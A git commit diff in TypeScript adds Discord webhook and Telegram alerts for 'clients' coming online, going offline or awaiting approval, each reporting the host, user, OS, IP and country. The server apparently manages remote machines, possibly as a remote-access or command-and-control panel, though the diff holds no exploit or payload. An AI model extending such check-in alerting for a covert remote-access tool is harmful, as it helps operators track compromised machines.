send notifications on clients connecting and shit to discord webhooks and telegram and give myself credits
This commit is contained in:
@@ -12,7 +12,7 @@ import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "./auth";
|
||||
import { loadConfig, getConfig } from "./config";
|
||||
import { flushAuditLogsSync } from "./auditLog";
|
||||
import { getUserById, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
||||
import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
||||
import { requireAuth, requirePermission } from "./rbac";
|
||||
import { metrics } from "./metrics";
|
||||
import { ensureDataDir } from "./paths";
|
||||
@@ -282,6 +282,25 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||
getUserRole: (userId: number) => getUserById(userId)?.role,
|
||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
||||
getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => {
|
||||
const mapRow = (u: any): UserDeliveryTarget => ({
|
||||
userId: u.id,
|
||||
username: u.username,
|
||||
webhookEnabled: u.webhook_enabled === 1,
|
||||
webhookUrl: u.webhook_url || "",
|
||||
webhookTemplate: u.webhook_template,
|
||||
telegramEnabled: u.telegram_enabled === 1,
|
||||
telegramBotToken: u.telegram_bot_token || "",
|
||||
telegramChatId: u.telegram_chat_id || "",
|
||||
telegramTemplate: u.telegram_template,
|
||||
});
|
||||
if (event === "client_purgatory") {
|
||||
return getUsersForNotificationDelivery()
|
||||
.filter((u) => u.role === "admin" || u.role === "operator")
|
||||
.map(mapRow);
|
||||
}
|
||||
return getUsersForNotificationDeliveryByClient(clientId).map(mapRow);
|
||||
},
|
||||
savePluginState,
|
||||
});
|
||||
|
||||
|
||||
@@ -385,3 +385,120 @@ export async function deliverNotificationWithScreenshot(
|
||||
]);
|
||||
}
|
||||
|
||||
export type ClientEventInfo = {
|
||||
id: string;
|
||||
host?: string;
|
||||
user?: string;
|
||||
os?: string;
|
||||
ip?: string;
|
||||
country?: string;
|
||||
};
|
||||
|
||||
const CLIENT_EVENT_LABELS: Record<string, string> = {
|
||||
client_online: "\u{1F7E2} Client Online",
|
||||
client_offline: "\u{1F534} Client Offline",
|
||||
client_purgatory: "\u{1F7E1} Client Awaiting Approval",
|
||||
};
|
||||
|
||||
const CLIENT_EVENT_COLORS: Record<string, number> = {
|
||||
client_online: 0x22c55e,
|
||||
client_offline: 0xef4444,
|
||||
client_purgatory: 0xeab308,
|
||||
};
|
||||
|
||||
export async function deliverClientEventToExternalChannels(
|
||||
event: string,
|
||||
info: ClientEventInfo,
|
||||
targets: UserDeliveryTarget[],
|
||||
): Promise<void> {
|
||||
if (targets.length === 0) return;
|
||||
|
||||
const label = CLIENT_EVENT_LABELS[event] || "Client Event";
|
||||
const ts = Date.now();
|
||||
|
||||
await Promise.allSettled(
|
||||
targets.map(async (target) => {
|
||||
if (target.webhookEnabled && target.webhookUrl) {
|
||||
const url = target.webhookUrl.trim();
|
||||
if (!url) return;
|
||||
let parsed: URL;
|
||||
try {
|
||||
parsed = new URL(url);
|
||||
if (!/^https?:$/.test(parsed.protocol)) return;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
|
||||
if (isDiscord) {
|
||||
const fields = [
|
||||
{ name: "Client", value: info.id || "unknown", inline: true },
|
||||
{ name: "User", value: info.user || "unknown", inline: true },
|
||||
{ name: "Host", value: info.host || "unknown", inline: true },
|
||||
{ name: "OS", value: info.os || "unknown", inline: true },
|
||||
];
|
||||
if (info.ip) fields.push({ name: "IP", value: info.ip, inline: true });
|
||||
if (info.country) fields.push({ name: "Country", value: info.country, inline: true });
|
||||
|
||||
const embed: Record<string, any> = {
|
||||
title: label,
|
||||
color: CLIENT_EVENT_COLORS[event] ?? 0x94a3b8,
|
||||
fields,
|
||||
timestamp: new Date(ts).toISOString(),
|
||||
};
|
||||
const payload = { content: label, embeds: [embed] };
|
||||
await fetch(url, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(payload),
|
||||
});
|
||||
} else {
|
||||
await fetch(url, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
type: "client_event",
|
||||
event,
|
||||
clientId: info.id,
|
||||
user: info.user,
|
||||
host: info.host,
|
||||
os: info.os,
|
||||
ip: info.ip,
|
||||
country: info.country,
|
||||
ts,
|
||||
}),
|
||||
});
|
||||
}
|
||||
} catch (err) {
|
||||
logger.warn(`[notify] client event webhook delivery to user ${target.username} failed`, err);
|
||||
}
|
||||
}
|
||||
|
||||
if (target.telegramEnabled && target.telegramBotToken && target.telegramChatId) {
|
||||
const token = target.telegramBotToken.trim();
|
||||
const chatId = target.telegramChatId.trim();
|
||||
if (!token || !chatId) return;
|
||||
|
||||
const lines = [label];
|
||||
if (info.id) lines.push(`Client: ${info.id}`);
|
||||
if (info.user) lines.push(`User: ${info.user}`);
|
||||
if (info.host) lines.push(`Host: ${info.host}`);
|
||||
if (info.os) lines.push(`OS: ${info.os}`);
|
||||
if (info.ip) lines.push(`IP: ${info.ip}`);
|
||||
if (info.country) lines.push(`Country: ${info.country}`);
|
||||
|
||||
try {
|
||||
const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`;
|
||||
await fetch(apiUrl, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ chat_id: chatId, text: lines.join("\n") }),
|
||||
});
|
||||
} catch (err) {
|
||||
logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err);
|
||||
}
|
||||
}
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import { deliverWebPushClientEvent } from "./notification-delivery";
|
||||
import { deliverWebPushClientEvent, deliverClientEventToExternalChannels, type UserDeliveryTarget } from "./notification-delivery";
|
||||
|
||||
type NotificationRecord = {
|
||||
id: string;
|
||||
@@ -65,6 +65,10 @@ type CreateDeps = {
|
||||
height?: number,
|
||||
) => void;
|
||||
deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise<void>;
|
||||
getDeliveryTargetsForClientEvent: (
|
||||
event: string,
|
||||
clientId: string,
|
||||
) => UserDeliveryTarget[];
|
||||
savePluginState: () => Promise<void>;
|
||||
};
|
||||
|
||||
@@ -354,6 +358,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
}
|
||||
|
||||
void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole);
|
||||
|
||||
const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id);
|
||||
void deliverClientEventToExternalChannels(event, info, externalTargets);
|
||||
},
|
||||
|
||||
markPluginLoaded,
|
||||
|
||||
Reference in New Issue
Block a user